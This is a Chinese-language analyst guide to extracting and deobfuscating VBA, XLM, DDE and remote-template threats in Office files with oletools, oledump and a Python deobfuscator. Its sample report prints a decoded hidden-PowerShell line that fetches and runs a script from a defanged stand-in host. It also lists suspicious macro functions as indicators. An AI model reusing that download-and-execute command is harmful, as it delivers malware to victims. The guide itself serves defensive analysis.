分析 Office 文件中的巨集惡意軟體 是做什麼的?
使用時機
- 可疑的 Office 文件(.doc、.docm、.xls、.xlsm、.ppt)被電子郵件安全系統標記
- 調查利用武器化 Office 文件進行的釣魚攻擊活動
- 提取 VBA 巨集程式碼,以識別攻擊酬載的下載網址和執行方式
- 分析混淆的 VBA 程式碼,以了解完整的攻擊鏈
- 判斷文件是否使用 DDE、ActiveX 或遠端範本注入,而非巨集
請勿用於 分析非巨集型的 Office 威脅(DDE、遠端範本注入);雖然此技能涵蓋這些威脅的偵測,但仍可能需要專門的分析。
先決條件
- Python 3.8+ 並安裝 oletools(
pip install oletools) - Didier Stevens 的 oledump.py(https://blog.didierstevens.com/programs/oledump-py/)
- 已隔離的分析虛擬機,且未安裝 Microsoft Office(防止意外執行)
- 用於 Excel 4.0 巨集分析的 XLMDeobfuscator(
pip install xlmdeobfuscator) - 用於安全呈現文件的 LibreOffice(預設不會執行 VBA 巨集)
工作流程
步驟 1:初步文件分類
判斷文件是否包含巨集或其他動態內容:
# 使用 olevba 快速分類
olevba suspect.docm
# 檢查 OLE 資料流和巨集
oleid suspect.docm
# 輸出指示器:
# VBA Macros: True/False
# XLM Macros: True/False
# External Relationships: True/False(遠端範本)
# ObjectPool: True/False(內嵌物件)
# Flash: True/False(SWF 物件)
# 全面的 OLE 分析
oledump.py suspect.docm
# 列出所有 OLE 資料流,並附帶巨集指示器
# 標記為 'M' 的資料流包含 VBA 巨集
# 標記為 'm' 的資料流包含巨集屬性
步驟 2:提取並分析 VBA 程式碼
拉取出完整的 VBA 巨集原始碼:
# 提取 VBA 並進行完整反混淆
olevba --decode --deobf suspect.docm
# 僅提取 VBA 原始碼
olevba --code suspect.docm > extracted_vba.txt
# 使用 oledump 進行詳細提取
oledump.py -s 8 -v suspect.docm # 資料流 8(根據資料流列表調整)
# 提取所有巨集資料流
oledump.py -p plugin_vba_dco suspect.docm
需要識別的關鍵 VBA 元素:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
自動執行觸發器:
- Auto_Open / AutoOpen (Word)
- Auto_Close / AutoClose
- Document_Open / Document_Close
- Workbook_Open (Excel)
- AutoExec
可疑函式:
- Shell() / Shell.Application
- WScript.Shell.Run / Exec
- CreateObject("WScript.Shell")
- PowerShell 執行
- URLDownloadToFile
- MSXML2.XMLHTTP(HTTP 請求)
- ADODB.Stream(檔案寫入)
- Environ()(環境變數)
- CallByName(間接方法呼叫)
步驟 3:反混淆 VBA 程式碼
移除混淆層以揭示攻擊酬載:
# VBA 反混淆技術
import re
def deobfuscate_vba(code):
# 1. 解析 Chr() 呼叫:Chr(104) & Chr(116) -> "ht"
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except:
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
# 2. 移除字串串接:"htt" & "p://" -> "http://"
code = re.sub(r'"\s*&\s*"', '', code)
# 3. 解析 ChrW 呼叫:ChrW(104)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
# 4. 解析 StrReverse:StrReverse("exe.daolnwod") -> "download.exe"
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
# 5. 移除 Mid$/Left$/Right$ 混淆(複雜,標記為手動審查)
# 6. 解析 Replace():Replace("Powxershxell", "x", "")
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
return code
with open("extracted_vba.txt") as f:
vba_code = f.read()
deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)
步驟 4:分析 Excel 4.0 (XLM) 巨集
處理可繞過 VBA 偵測的傳統 Excel 巨集:
# 偵測 XLM 巨集
olevba --xlm suspect.xlsm
# 反混淆 XLM 巨集
xlmdeobfuscator -f suspect.xlsm
# 使用 oledump 進行手動 XLM 分析
oledump.py suspect.xlsm -p plugin_biff.py
# 需要注意的 XLM(Excel 4.0)巨集函式:
# EXEC() - 執行 shell 指令
# CALL() - 呼叫 DLL 函式
# REGISTER() - 註冊 DLL 函式
# URLDownloadToFileA - 下載檔案
# ALERT() - 顯示訊息(社交工程)
# HALT() - 停止執行
# GOTO() - 控制流程
# IF() - 條件執行
步驟 5:檢查非巨集攻擊向量
檢查文件中的 DDE、遠端範本和內嵌物件:
# 檢查 DDE(動態資料交換)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = z.read(name).decode('utf-8', errors='ignore')
# DDE 功能變數代碼
if 'DDEAUTO' in content or 'DDE ' in content:
print(f'[!] 在 {name} 中找到 DDE')
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
for m in dde_match:
print(f' 指令: {m}')
# 遠端範本
if 'attachedTemplate' in content or 'Target=' in content:
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
for url in urls:
print(f'[!] 遠端範本 URL: {url}')
"
# 檢查內嵌 OLE 物件
oledump.py -p plugin_msg.py suspect.docm
# 檢查外部參考的關聯
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if '.rels' in name:
content = z.read(name).decode('utf-8', errors='ignore')
if 'http' in content.lower() or 'ftp' in content.lower():
print(f'在 {name} 中找到外部參考:')
import re
urls = re.findall(r'Target=\"([^\"]+)\"', content)
for url in urls:
print(f' {url}')
"
步驟 6:產生分析報告
記錄完整的巨集惡意軟體分析:
報告應包含:
- 文件元資料(作者、建立日期、修改日期)
- 巨集存在與類型(VBA、XLM、DDE、遠端範本)
- 識別出的自動執行觸發器
- 反混淆後的 VBA 原始碼(關鍵函式)
- 第二階段攻擊酬載的下載網址
- 執行方式(Shell、WScript、PowerShell、COM 物件)
- 社交工程誘餌的描述
- 已提取的 IOC(URL、域名、IP、檔案雜湊)
- 針對特定文件模式的 YARA 規則
關鍵概念
| 術語 | 定義 |
|---|---|
| VBA 巨集 | 內嵌在 Office 文件中的 Visual Basic for Applications 程式碼,可與作業系統互動、下載檔案及執行指令 |
| Auto_Open | 開啟 Word 文件時自動執行的 VBA 事件程序,是巨集惡意軟體的主要觸發方式 |
| OLE(物件連結與嵌入) | Microsoft 的複合文件格式;Office 文件是 OLE 容器,其中的資料流可包含巨集和物件 |
| DDE(動態資料交換) | 傳統的 Windows 行程間通訊機制,遭惡意利用於文件中執行指令而無需巨集;透過功能變數代碼更新觸發 |
| 遠端範本注入 | 一種攻擊手法,在文件開啟時從遠端 URL 載入啟用巨集的範本,以繞過初始的巨集偵測 |
| XLM 巨集 (Excel 4.0) | 比 VBA 更早的傳統 Excel 巨集語言;儲存在隱藏的工作表中,經常被傳統的 VBA 分析工具忽略 |
| 受保護的檢視 | Office 的沙箱,可防止巨集執行,直到使用者點擊「啟用內容」;社交工程攻擊旨在突破此防護 |
工具與系統
- oletools (olevba):用於分析 OLE 檔案、提取 VBA 巨集以及偵測可疑關鍵字和 IOC 的 Python 工具組
- oledump.py:Didier Stevens 的工具,用於分析 OLE 資料流,具備 VBA 解壓縮和提取的插件支援
- XLMDeobfuscator:專門用於反混淆 Excel 4.0 (XLM) 巨集公式的工具
- ViperMonkey:VBA 模擬引擎,可在沙箱環境中執行 VBA 巨集以觀察其行為
- YARA:基於 VBA 字串模式和 OLE 結構指示器進行的文件惡意軟體偵測模式比對
常見情境
情境:分析含有混淆 VBA 巨集的釣魚文件
背景:多名員工收到一封電子郵件,附帶一個聲稱是發票的 .docm 文件。該文件提示使用者「啟用內容」以檢視完整文件。
方法:
- 執行 oleid 以確認 VBA 巨集存在,並識別自動執行觸發器
- 使用 olevba --decode --deobf 提取 VBA 程式碼以進行初步反混淆
- 識別自動執行的進入點(Auto_Open 或 Document_Open)
- 從進入點開始,透過輔助函式追蹤執行流程
- 反混淆字串串接和 Chr() 編碼,以揭示下載網址
- 識別下載方式(WScript.Shell、MSXML2.XMLHTTP、PowerShell)
- 提取所有 IOC,並為特定的混淆模式建立 YARA 規則
陷阱:
- 為了「快速分析」而在 Microsoft Office 中開啟文件,而不是使用命令列工具
- 遺漏儲存在 UserForms 中的 VBA 程式碼(GUI 元素的事件處理常式中可能包含程式碼)
- 忽略可能含有攻擊者指紋的文件元資料(作者名稱、範本名稱)
- 未在同一份文件中同時檢查 VBA 和 XLM 巨集(有些惡意軟體會同時使用兩者)
輸出格式
OFFICE 巨集惡意軟體分析
================================
文件: invoice_q3_2025.docm
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
檔案類型: Microsoft Word 文件 (含巨集的 OOXML)
作者: Administrator
建立日期: 2025-09-10 14:23:00
巨集分析
類型: VBA 巨集
觸發器: AutoOpen()
資料流: 3 個 VBA 資料流 (ThisDocument、Module1、Module2)
反混淆後的執行鏈
1. AutoOpen() -> 呼叫 Module1.RunPayload()
2. RunPayload() 透過 Chr() 串接建構指令字串
3. 指令:powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. 解碼後:IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
社交工程誘餌
- 文件顯示偽造的「受保護文件」圖片
- 指示使用者「啟用內容」以檢視文件
- 內容在巨集執行前處於模糊/隱藏狀態
已提取的 IOC
下載 URL: hxxp://evil[.]com/payload.ps1
C2 域名: evil[.]com
IP 位址: 185.220.101[.]42
使用者代理: PowerShell (預設 WebClient)
MITRE ATT&CK
T1566.001 釣魚:魚叉式釣魚附件
T1204.002 使用者執行:惡意檔案
T1059.001 指令與指令碼解譯器:PowerShell
T1059.005 指令與指令碼解譯器:Visual Basic